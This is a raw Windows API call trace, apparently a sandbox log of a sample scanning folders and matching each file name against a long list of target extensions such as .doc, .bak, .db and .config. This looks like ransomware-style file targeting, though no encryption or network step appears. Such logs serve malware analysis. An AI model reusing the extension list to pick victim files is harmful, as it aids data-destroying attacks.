	[0178.778] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0178.779] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0178.779] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0178.779] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0178.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.782] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0178.782] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4173f68
	[0178.783] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR") returned 100
	[0178.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0178.785] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0178.785] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0178.785] lstrlenW (lpString="index.html") returned 10
	[0178.785] lstrlenW (lpString=".1cd") returned 4
	[0178.785] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0178.785] lstrlenW (lpString=".3ds") returned 4
	[0178.785] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0178.785] lstrlenW (lpString=".3fr") returned 4
	[0178.785] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0178.785] lstrlenW (lpString=".3g2") returned 4
	[0178.785] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0178.785] lstrlenW (lpString=".3gp") returned 4
	[0178.785] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0178.785] lstrlenW (lpString=".7z") returned 3
	[0178.785] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0178.785] lstrlenW (lpString=".accda") returned 6
	[0178.786] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".accdb") returned 6
	[0178.786] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".accdc") returned 6
	[0178.786] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".accde") returned 6
	[0178.786] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".accdt") returned 6
	[0178.786] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".accdw") returned 6
	[0178.786] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0178.786] lstrlenW (lpString=".adb") returned 4
	[0178.786] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0178.786] lstrlenW (lpString=".adp") returned 4
	[0178.786] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0178.786] lstrlenW (lpString=".ai") returned 3
	[0178.786] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0178.786] lstrlenW (lpString=".ai3") returned 4
	[0178.786] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0178.786] lstrlenW (lpString=".ai4") returned 4
	[0178.786] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0178.786] lstrlenW (lpString=".ai5") returned 4
	[0178.786] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0178.786] lstrlenW (lpString=".ai6") returned 4
	[0178.787] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".ai7") returned 4
	[0178.787] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".ai8") returned 4
	[0178.787] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".anim") returned 5
	[0178.787] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0178.787] lstrlenW (lpString=".arw") returned 4
	[0178.787] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".as") returned 3
	[0178.787] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0178.787] lstrlenW (lpString=".asa") returned 4
	[0178.787] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".asc") returned 4
	[0178.787] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".ascx") returned 5
	[0178.787] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0178.787] lstrlenW (lpString=".asm") returned 4
	[0178.787] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".asmx") returned 5
	[0178.787] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0178.787] lstrlenW (lpString=".asp") returned 4
	[0178.787] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0178.787] lstrlenW (lpString=".aspx") returned 5
	[0178.788] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0178.788] lstrlenW (lpString=".asr") returned 4
	[0178.788] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".asx") returned 4
	[0178.788] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".avi") returned 4
	[0178.788] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".avs") returned 4
	[0178.788] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".backup") returned 7
	[0178.788] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0178.788] lstrlenW (lpString=".bak") returned 4
	[0178.788] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".bay") returned 4
	[0178.788] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0178.788] lstrlenW (lpString=".bd") returned 3
	[0178.788] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0178.788] lstrlenW (lpString=".bin") returned 4
	[0178.788] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".bmp") returned 4
	[0178.789] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".bz2") returned 4
	[0178.789] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".c") returned 2
	[0178.789] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0178.789] lstrlenW (lpString=".cdr") returned 4
	[0178.789] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".cer") returned 4
	[0178.789] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".cf") returned 3
	[0178.789] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0178.789] lstrlenW (lpString=".cfc") returned 4
	[0178.789] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".cfm") returned 4
	[0178.789] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".cfml") returned 5
	[0178.789] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0178.789] lstrlenW (lpString=".cfu") returned 4
	[0178.789] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".chm") returned 4
	[0178.789] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".cin") returned 4
	[0178.789] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0178.789] lstrlenW (lpString=".class") returned 6
	[0178.790] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0178.790] lstrlenW (lpString=".clx") returned 4
	[0178.790] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".config") returned 7
	[0178.790] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0178.790] lstrlenW (lpString=".cpp") returned 4
	[0178.790] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".cr2") returned 4
	[0178.790] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".crt") returned 4
	[0178.790] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".crw") returned 4
	[0178.790] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".cs") returned 3
	[0178.790] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0178.790] lstrlenW (lpString=".css") returned 4
	[0178.790] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".csv") returned 4
	[0178.790] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0178.790] lstrlenW (lpString=".cub") returned 4
	[0178.791] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0178.791] lstrlenW (lpString=".dae") returned 4
	[0178.791] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0178.791] lstrlenW (lpString=".dat") returned 4
	[0178.791] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0178.791] lstrlenW (lpString=".db") returned 3
	[0179.160] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0179.160] lstrlenW (lpString=".dbf") returned 4
	[0179.160] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dbx") returned 4
	[0179.160] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dc3") returned 4
	[0179.160] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dcm") returned 4
	[0179.160] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dcr") returned 4
	[0179.160] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".der") returned 4
	[0179.160] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dib") returned 4
	[0179.160] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dic") returned 4
	[0179.160] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".dif") returned 4
	[0179.160] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0179.160] lstrlenW (lpString=".divx") returned 5
	[0179.161] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".djvu") returned 5
	[0179.161] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".dng") returned 4
	[0179.161] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".doc") returned 4
	[0179.161] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".docm") returned 5
	[0179.161] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".docx") returned 5
	[0179.161] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".dot") returned 4
	[0179.161] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".dotm") returned 5
	[0179.161] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".dotx") returned 5
	[0179.161] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0179.161] lstrlenW (lpString=".dpx") returned 4
	[0179.161] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".dqy") returned 4
	[0179.161] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".dsn") returned 4
	[0179.161] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0179.161] lstrlenW (lpString=".dt") returned 3
	[0179.161] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0179.162] lstrlenW (lpString=".dtd") returned 4
	[0179.162] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".dwg") returned 4
	[0179.162] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".dwt") returned 4
	[0179.162] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".dx") returned 3
	[0179.162] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0179.162] lstrlenW (lpString=".dxf") returned 4
	[0179.162] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".edml") returned 5
	[0179.162] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0179.162] lstrlenW (lpString=".efd") returned 4
	[0179.162] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".elf") returned 4
	[0179.162] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".emf") returned 4
	[0179.162] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".emz") returned 4
	[0179.162] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".epf") returned 4
	[0179.162] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".eps") returned 4
	[0179.162] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0179.162] lstrlenW (lpString=".epsf") returned 5
	[0179.162] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0179.162] lstrlenW (lpString=".epsp") returned 5
	[0179.162] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0179.162] lstrlenW (lpString=".erf") returned 4
	[0179.162] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".exr") returned 4
	[0179.163] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".f4v") returned 4
	[0179.163] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".fido") returned 5
	[0179.163] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0179.163] lstrlenW (lpString=".flm") returned 4
	[0179.163] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".flv") returned 4
	[0179.163] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".frm") returned 4
	[0179.163] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".fxg") returned 4
	[0179.163] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".geo") returned 4
	[0179.163] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".gif") returned 4
	[0179.163] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".grs") returned 4
	[0179.163] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0179.163] lstrlenW (lpString=".gz") returned 3
	[0179.163] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0179.163] lstrlenW (lpString=".h") returned 2
	[0179.163] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.164] lstrlenW (lpString=".hdr") returned 4
	[0179.164] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0179.164] lstrlenW (lpString=".hpp") returned 4
	[0179.164] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0179.164] lstrlenW (lpString=".hta") returned 4
	[0179.164] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0179.164] lstrlenW (lpString=".htc") returned 4
	[0179.164] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0179.164] lstrlenW (lpString=".htm") returned 4
	[0179.164] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0179.164] lstrlenW (lpString=".html") returned 5
	[0179.164] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0179.164] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.164] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0179.164] lstrlenW (lpString=".1cd") returned 4
	[0179.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.164] lstrlenW (lpString=".3ds") returned 4
	[0179.164] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0179.164] lstrlenW (lpString=".3fr") returned 4
	[0179.164] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0179.164] lstrlenW (lpString=".3g2") returned 4
	[0179.164] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0179.164] lstrlenW (lpString=".3gp") returned 4
	[0179.164] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0179.164] lstrlenW (lpString=".7z") returned 3
	[0179.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.164] lstrlenW (lpString=".accda") returned 6
	[0179.165] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".accdb") returned 6
	[0179.165] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".accdc") returned 6
	[0179.165] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".accde") returned 6
	[0179.165] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".accdt") returned 6
	[0179.165] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".accdw") returned 6
	[0179.165] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0179.165] lstrlenW (lpString=".adb") returned 4
	[0179.165] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".adp") returned 4
	[0179.165] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai") returned 3
	[0179.165] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0179.165] lstrlenW (lpString=".ai3") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai4") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai5") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai6") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai7") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".ai8") returned 4
	[0179.165] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0179.165] lstrlenW (lpString=".anim") returned 5
	[0179.166] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0179.166] lstrlenW (lpString=".arw") returned 4
	[0179.166] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".as") returned 3
	[0179.166] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0179.166] lstrlenW (lpString=".asa") returned 4
	[0179.166] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".asc") returned 4
	[0179.166] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".ascx") returned 5
	[0179.166] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0179.166] lstrlenW (lpString=".asm") returned 4
	[0179.166] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".asmx") returned 5
	[0179.166] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0179.166] lstrlenW (lpString=".asp") returned 4
	[0179.166] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".aspx") returned 5
	[0179.166] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0179.166] lstrlenW (lpString=".asr") returned 4
	[0179.166] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".asx") returned 4
	[0179.166] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".avi") returned 4
	[0179.166] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0179.166] lstrlenW (lpString=".avs") returned 4
	[0179.167] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".backup") returned 7
	[0179.167] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0179.167] lstrlenW (lpString=".bak") returned 4
	[0179.167] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".bay") returned 4
	[0179.167] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".bd") returned 3
	[0179.167] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0179.167] lstrlenW (lpString=".bin") returned 4
	[0179.167] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".bmp") returned 4
	[0179.167] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".bz2") returned 4
	[0179.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".c") returned 2
	[0179.167] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.167] lstrlenW (lpString=".cdr") returned 4
	[0179.167] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".cer") returned 4
	[0179.167] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".cf") returned 3
	[0179.167] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0179.167] lstrlenW (lpString=".cfc") returned 4
	[0179.167] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".cfm") returned 4
	[0179.167] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0179.167] lstrlenW (lpString=".cfml") returned 5
	[0179.167] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0179.167] lstrlenW (lpString=".cfu") returned 4
	[0179.168] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".chm") returned 4
	[0179.168] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".cin") returned 4
	[0179.168] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".class") returned 6
	[0179.168] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0179.168] lstrlenW (lpString=".clx") returned 4
	[0179.168] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".config") returned 7
	[0179.168] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0179.168] lstrlenW (lpString=".cpp") returned 4
	[0179.168] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".cr2") returned 4
	[0179.168] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".crt") returned 4
	[0179.168] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".crw") returned 4
	[0179.168] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".cs") returned 3
	[0179.168] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0179.168] lstrlenW (lpString=".css") returned 4
	[0179.168] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".csv") returned 4
	[0179.168] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0179.168] lstrlenW (lpString=".cub") returned 4
